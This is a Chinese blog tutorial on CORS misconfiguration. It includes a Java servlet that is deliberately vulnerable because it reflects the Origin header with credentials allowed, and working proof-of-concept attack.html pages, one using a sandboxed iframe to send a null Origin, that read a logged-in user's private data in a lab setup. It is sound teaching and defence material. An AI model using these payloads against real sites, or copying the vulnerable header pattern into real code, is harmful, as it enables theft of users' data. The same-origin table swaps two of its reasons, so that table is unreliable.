CORS跨域资源共享漏洞

前置知识

跨域

域(Domain)是由三部分组成的标识:协议、域名和端口。

例如这两个ip就属于不同的域:

  • http://example.com

  • https://example.com

因为它们的协议不同(一个是HTTP,另一个是HTTPS),并且它们的端口也有差异(HTTP默认端口为80,HTTPS默认端口为443)。因此,这两个域之间的请求被认为是跨域请求。

而没有限制的跨域请求,就会有很多的弊端,例如导致CSRF等。为了解决这个问题于是引入了同源策略这个概念。

同源策略

同源策略(Same-Origin Policy)是浏览器的一项安全措施,它限制了网页中的脚本只能与加载该脚本的页面具有相同的协议域名端口,才能进行无障碍的跨域资源访问。同源策略的目的是保护用户的信息和隐私,防止恶意网站利用浏览器漏洞获取或修改其他网站的数据。

例如下表中与`http://example.com/api/v1/index.html 属于相同来源的是:

URL结果原因
http://example.com/api/v1/login.html只有路径不相同
http://user:pass@example.com/api/v1/other.html只有路径不相同
https://example.com/api/v1/index.html不同协议(https)
http://example.com:81/api/v1/index.html不同域名
http://test.example.com/api/v1/index.html不同端口

有一些标签是不受同源策略限制的,这些标签可以自由地加载和显示来自其他域的内容,而无需进行跨域请求。

  • script:<script src="http://example.com/script.js"></script>
  • img:<img src="http://example.com/image.jpg" alt="Image">
  • iframe:<iframe src="http://example.com"></iframe>
  • link:<link rel="stylesheet" href="http://example.com/styles.css">

有了同源策略可以较有效的防止CSRF和XSS等漏洞,但同时也带来了一个弊端:同协议、同域名、同端口使得跨域资源共享变得更为复杂困难。这时就需要引入CORS(跨域资源共享)来处理这个问题。

CORS

定义

CORS(跨域资源共享)是一种用于在Web浏览器中处理跨域请求的机制。当在浏览器上执行JavaScript代码时,由于同源策略的限制,脚本只能与同源(相同协议、域名和端口)的服务器进行通信。但在某些情况下,我们可能需要从一个域向另一个域请求数据或资源,这就涉及到跨域请求。

工作原理

CORS允许服务器定义哪些外部域有权限访问其资源。当浏览器发起跨域请求时,它会首先发送一个预检请求(OPTIONS请求),询问服务器是否允许实际请求。服务器通过返回特定的HTTP响应头来控制跨域访问,其中最重要的是"Access-Control-Allow-Origin"头,指定允许访问的域。如果服务器响应中包含了请求的源域,那么浏览器会允许实际的跨域请求并接收响应。

除"Access-Control-Allow-Origin"外,还有其他的CORS头可以用来进一步定义跨域请求的行为,例如:.

  • Access-Control-Allow-Credentials:是否允许浏览器读取response的内容

  • Access-Control-Allow-Methods:指定允许的HTTP方法(GET、POST等)。

  • Access-Control-Allow-Headers:指定允许的请求头。

  • Access-Control-Max-Age:指定预检请求的有效期。

CORS漏洞

漏洞原理

CORS跨域漏洞的本质是服务器配置不当,即Access-Control-Allow-Origin设置为*或是直接取自请求头Origin字段,Access-Control-Allow-Credentials设置为true等。

测试环境

firefox 59.0:Directory Listing: /pub/firefox/releases/59.0/ (mozilla.org)

tomcat 8.5

靶机:192.168.235.166

攻击机:192.168.43.136

漏洞测试

先设置一个登录框,和一个信息查询页面,模拟用户登录和获取个人信息

LoginServlet

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(name = "login", value = "/login")
public class LoginServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (req.getParameter("user") != null){
            if (req.getParameter("user").equals("admin")){
                Cookie cookie = new Cookie("user", "admin");
                resp.addCookie(cookie);
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().print("Sentiment登陆成功! ");
            }
        }else {
            resp.getWriter().print("登录失败");
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

PersonInfoServlet

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(name = "personinfo", value = "/info")
public class PersonInfoServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Cookie[] cookies = req.getCookies();
        resp.setContentType("text/html;charset=UTF-8");

        String origin = req.getHeader("origin");
        if (origin != null){
            resp.setHeader("Access-Control-Allow-Origin",origin);
            resp.setHeader("Access-Control-Allow-Credentials","true");
        }

        if (cookies != null){
            for (Cookie cookie : cookies) {
                String name = cookie.getName();
                String value = cookie.getValue();
                if (name.equals("user") && value.equals("admin")){
                    resp.getWriter().print("你好Sentiment,你的密码是123456");
                }
            }
        }else {
            resp.getWriter().print("未登录");
        }
    }
}

第一种情况

可能导致漏洞的环境有多种方式,先看下这种:

Access-Control-Allow-Origin: all-host
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin",origin);
resp.setHeader("Access-Control-Allow-Credentials","true");

这两个返回头表示应用程序允许来自任何Origin的任何脚本向应用程序发出CORS请求。

先模拟用户登录

在这里插入图片描述

此时用户访问/info,便能看到自己的信息
在这里插入图片描述

这时我们构造恶意脚本,发送给该用户

attack.html

<!DOCTYPE html>
<html>
<body>
<center>
  <h2>CORS POC Exploit</h2>
  <h3>Extract SID</h3>

  <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
  </div>

  <script>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          alert(this.responseText);
        }
      };
      xhttp.open("GET", "http://192.168.235.166:8081/info", true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
  </script>
</center>
</body>
</html>

当用户点击后,便可跨域请求用户端的info信息,并且带上了用户的cookie
在这里插入图片描述

第二种情况

服务器返回如下消息头,这种情况下,利用起来稍有困难,这里的null必须小写。

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin","null");
resp.setHeader("Access-Control-Allow-Credentials","true");

这时再请求attack.html,发现被拦截
在这里插入图片描述

这是由于发送的请求origin并不为null
在这里插入图片描述

此时修改attack.html

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/html">
<body>
<center>
  <h2>CORS POC Exploit</h2>
  <h3>Extract SID</h3>

  <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
  </div>

  <iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html;charset=UTF-8,<script>
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        alert(this.responseText);
      }
    };
    xhttp.open('GET', 'http://192.168.235.166:8081/info', true);
    xhttp.withCredentials = true;
    xhttp.send();
</script>"></iframe>

</center>
</body>
</html>

成功获取敏感信息
在这里插入图片描述

第三种情况

这种情况表示允许所有网站的跨域请求,但它并不能获取到用户cookie,因为这种配置本身就有问题,是不被安全策略允许的。

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

在这里插入图片描述

SameSite配置问题

在测试环境中,我使用的是 Firefox 59.0 。这并不是随意选择的,而是基于 SameSite 配置的需要。从 Firefox 60 开始,Cookie 引入了一个新属性 SameSite,用于防止 CSRF 攻击等。同样edge和chorm分别在80、51版本后也引入了改配置

属性

SameSite有三个属性:

  • **Strict:**最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
  • **Lax:**当开发开发人员没有设置samesite的值得时候,Lax是默认值,规则稍稍放宽,大多数情况也是不发送第三方 Cookie

Lax的情况见下表:

请求类型示例正常情况Lax
链接<a href="..."></a>发送 Cookie发送 Cookie
预加载<link rel="prerender" href="..."/>发送 Cookie发送 Cookie
GET 表单<form method="GET" action="...">发送 Cookie发送 Cookie
POST 表单<form method="POST" action="...">发送 Cookie不发送
iframe<iframe src="..."></iframe>发送 Cookie不发送
AJAX$.get("...")发送 Cookie不发送
Image<img src="...">发送 Cookie不发送

PS:我们发送的AJAX请求,是不会发送Cookie的,因此需要修改这个默认设置

  • **None:**所有请求中都允许发送cookie,但是如果samesite配置成了none,还必须将cookie加上Secure属性才能够生效

解决方法

通过上边可以发现SameSite设置为None时,仍然是可以发送Cookie的,所以当发现samesite=None仍可尝试CORS攻击,但需要注意几点:

  • 协议必须是https(这是因为在SameSite=None模式下,浏览器要求使用安全连接(HTTPS)才能传输具有此标志的Cookie)
  • cookie必须设置Secure
    在这里插入图片描述

CORS防御

  • Access-Control-Allow-Origin 设为受信任的站点
  • 减少Access-Control-Allow-Methods所允许的请求方式
  • 只允许安全的协议如https

参考链接

全方位了解CORS跨域资源共享漏洞 - 先知社区 (aliyun.com)

浅析CORS攻击及其挖洞思路 - 先知社区 (aliyun.com)

https://github.com/chenjj/CORScanner

第40篇:CORS跨域资源共享漏洞的复现、分析、利用及修复过程_cors漏洞修复_希潭实验室ABC123的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CORS(Cross-Origin Resource Sharing)是一种跨域资源共享机制。它允许web应用程序向其他域(域名、协议、端口不同)请求资源,比如调用第三方API接口。CORS由浏览器实现,它通过HTTP头部来告诉浏览器哪些跨域请求是安全的。CORS跨域资源共享漏洞指的是攻击者利用CORS机制的漏洞获取敏感信息或进行恶意操作。 CORS跨域资源共享漏洞的原理是:当一个网站想要向另一个域名的服务器发起跨域请求时,浏览器会先向服务器发送一个OPTIONS请求,询问服务器是否允许该网站跨域请求。如果服务器允许,则浏览器会发送真正的跨域请求。攻击者可以通过构造特定的请求,绕过浏览器的CORS机制,从而获取敏感信息或进行恶意操作。 常见的CORS跨域资源共享漏洞包括: 1.未正确配置Access-Control-Allow-Origin头部,导致攻击者可以跨域访问敏感接口。 2.使用通配符“*”来允许所有域名跨域请求,导致攻击者可以利用其他网站的漏洞来攻击目标网站。 3.未正确限制Access-Control-Allow-Methods头部,导致攻击者可以使用其他HTTP方法来调用敏感接口。 4.未正确限制Access-Control-Allow-Headers头部,导致攻击者可以发送任意HTTP头部来调用敏感接口。 要防范CORS跨域资源共享漏洞,可以采取以下措施: 1.正确配置Access-Control-Allow-Origin、Access-Control-Allow-Methods和Access-Control-Allow-Headers头部,只允许必要的域名、HTTP方法和HTTP头部访问敏感接口。 2.对敏感接口进行身份验证和授权,只允许授权用户访问。 3.限制跨域请求的频率和流量,避免恶意攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值